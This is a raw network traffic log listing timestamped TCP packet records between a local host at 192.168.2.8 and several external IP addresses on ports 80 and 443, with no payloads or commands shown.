Oct 22, 2024 19:25:12.742877007 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.742887020 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.742891073 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.742898941 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.742909908 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.742909908 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.742911100 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.742918968 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.742922068 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.742934942 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.742944002 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.742949963 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.742960930 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.742961884 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.742973089 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.742990017 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.742990017 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.742994070 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743000031 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743000031 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743005991 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743016958 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743027925 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743035078 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743038893 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743052006 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743053913 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743062973 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743082047 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743086100 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743086100 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743087053 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743093967 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743104935 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743113041 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743113995 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743123055 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743123055 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743125916 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743139029 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743146896 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743146896 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743151903 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743159056 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743165970 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743177891 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743180037 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743189096 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743189096 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743208885 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743210077 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743211985 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743222952 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743228912 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743247986 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743247986 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.743858099 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.743901014 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.744736910 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.744759083 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.744770050 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.744777918 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.744791031 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.744807959 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.744920015 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.744931936 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.744941950 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.744952917 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.744965076 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.744965076 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.744973898 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.744985104 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.744986057 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.744997025 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745008945 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745011091 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745019913 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745028019 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745029926 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745049000 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745053053 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745064020 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745071888 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745071888 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745074987 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745086908 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745088100 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745100021 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745105982 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745105982 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745111942 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745124102 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745131016 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745136976 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745147943 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745147943 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745158911 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745170116 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745171070 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745171070 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745181084 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745191097 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745197058 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745197058 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745207071 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745208979 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745218992 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745235920 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745243073 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745243073 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745246887 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745251894 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745268106 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745280027 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745280027 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745280027 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745290995 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745301008 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745302916 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745311975 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745323896 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745326042 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745336056 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745347023 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745348930 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745358944 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745364904 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745364904 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745381117 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745388031 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745393038 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745408058 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745413065 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745417118 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745424986 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745435953 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745443106 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745448112 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745460033 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745465040 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745471954 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745481014 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745490074 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745490074 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745493889 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745501041 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745505095 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745520115 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745527029 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745541096 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745548964 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745559931 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745559931 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745568037 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745587111 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745587111 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745596886 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745609045 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745610952 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745620966 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745621920 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745631933 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745641947 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745654106 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745662928 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745666027 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745676994 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745687008 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745690107 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745696068 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745701075 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745712042 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745723009 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745723963 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745735884 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745737076 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745763063 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745781898 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745804071 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745815039 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745825052 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745836973 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745847940 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745848894 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745850086 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745861053 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745871067 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745872021 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745883942 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745893002 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745893955 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745907068 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745918989 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745922089 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745933056 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:12.745934010 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745961905 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745961905 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:12.745971918 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:14.800645113 CEST	49726	443	192.168.2.8	92.122.104.90
Oct 22, 2024 19:25:14.800690889 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:14.800796986 CEST	49726	443	192.168.2.8	92.122.104.90
Oct 22, 2024 19:25:14.802122116 CEST	49726	443	192.168.2.8	92.122.104.90
Oct 22, 2024 19:25:14.802136898 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:15.001610041 CEST	49724	80	192.168.2.8	185.215.113.43
Oct 22, 2024 19:25:15.002018929 CEST	49727	80	192.168.2.8	185.215.113.43
Oct 22, 2024 19:25:15.007549047 CEST	80	49724	185.215.113.43	192.168.2.8
Oct 22, 2024 19:25:15.007569075 CEST	80	49727	185.215.113.43	192.168.2.8
Oct 22, 2024 19:25:15.007630110 CEST	49724	80	192.168.2.8	185.215.113.43
Oct 22, 2024 19:25:15.007690907 CEST	49727	80	192.168.2.8	185.215.113.43
Oct 22, 2024 19:25:15.007858038 CEST	49727	80	192.168.2.8	185.215.113.43
Oct 22, 2024 19:25:15.013158083 CEST	80	49727	185.215.113.43	192.168.2.8
Oct 22, 2024 19:25:15.659564972 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:15.659651995 CEST	49726	443	192.168.2.8	92.122.104.90
Oct 22, 2024 19:25:15.663809061 CEST	49726	443	192.168.2.8	92.122.104.90
Oct 22, 2024 19:25:15.663826942 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:15.664089918 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:15.710319042 CEST	49726	443	192.168.2.8	92.122.104.90
Oct 22, 2024 19:25:15.751372099 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:15.938949108 CEST	80	49727	185.215.113.43	192.168.2.8
Oct 22, 2024 19:25:15.939034939 CEST	49727	80	192.168.2.8	185.215.113.43
Oct 22, 2024 19:25:15.940982103 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:15.941272020 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:15.947385073 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:15.947472095 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:15.947551966 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:15.948095083 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:15.948153973 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:15.952929974 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:16.288620949 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:16.288686037 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:16.288733959 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:16.288736105 CEST	49726	443	192.168.2.8	92.122.104.90
Oct 22, 2024 19:25:16.288753033 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:16.288784981 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:16.288801908 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:16.288803101 CEST	49726	443	192.168.2.8	92.122.104.90
Oct 22, 2024 19:25:16.288826942 CEST	49726	443	192.168.2.8	92.122.104.90
Oct 22, 2024 19:25:16.288845062 CEST	49726	443	192.168.2.8	92.122.104.90
Oct 22, 2024 19:25:16.288924932 CEST	49726	443	192.168.2.8	92.122.104.90
Oct 22, 2024 19:25:16.289349079 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:16.289398909 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:16.289439917 CEST	49726	443	192.168.2.8	92.122.104.90
Oct 22, 2024 19:25:16.289453983 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:16.289495945 CEST	49726	443	192.168.2.8	92.122.104.90
Oct 22, 2024 19:25:16.317013025 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:16.317061901 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:16.317140102 CEST	49726	443	192.168.2.8	92.122.104.90
Oct 22, 2024 19:25:16.317162991 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:16.317193031 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:16.317323923 CEST	49726	443	192.168.2.8	92.122.104.90
Oct 22, 2024 19:25:16.317323923 CEST	49726	443	192.168.2.8	92.122.104.90
Oct 22, 2024 19:25:16.328902006 CEST	49726	443	192.168.2.8	92.122.104.90
Oct 22, 2024 19:25:16.328932047 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:16.328952074 CEST	49726	443	192.168.2.8	92.122.104.90
Oct 22, 2024 19:25:16.328963041 CEST	443	49726	92.122.104.90	192.168.2.8
Oct 22, 2024 19:25:16.341779947 CEST	49729	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:25:16.341854095 CEST	443	49729	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:16.341978073 CEST	49729	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:25:16.342453003 CEST	49729	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:25:16.342492104 CEST	443	49729	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:16.848735094 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:16.848767996 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:16.848784924 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:16.848800898 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:16.848815918 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:16.848834038 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:16.848840952 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:16.848859072 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:16.848866940 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:16.848874092 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:16.848892927 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:16.848908901 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:16.848929882 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:16.848953009 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:16.854947090 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:16.855027914 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.100452900 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100478888 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100496054 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100513935 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100512028 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.100548983 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.100554943 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100569963 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100579023 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.100596905 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100611925 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100620031 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.100629091 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100645065 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100649118 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.100661993 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100672007 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.100708008 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.100742102 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100756884 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100771904 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100778103 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.100789070 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100805044 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100816965 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.100821018 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100836992 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100851059 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.100856066 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100882053 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.100884914 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100909948 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.100909948 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.100931883 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.100960970 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.100985050 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.101028919 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.108366013 CEST	443	49729	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:17.108442068 CEST	49729	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:25:17.111583948 CEST	49729	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:25:17.111607075 CEST	443	49729	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:17.111941099 CEST	443	49729	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:17.113915920 CEST	49729	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:25:17.113946915 CEST	49729	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:25:17.114008904 CEST	443	49729	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:17.150958061 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.150975943 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.150991917 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.151053905 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.151104927 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.151141882 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.151158094 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.151175976 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.151181936 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.151210070 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.151232958 CEST	49728	80	192.168.2.8	185.215.113.16
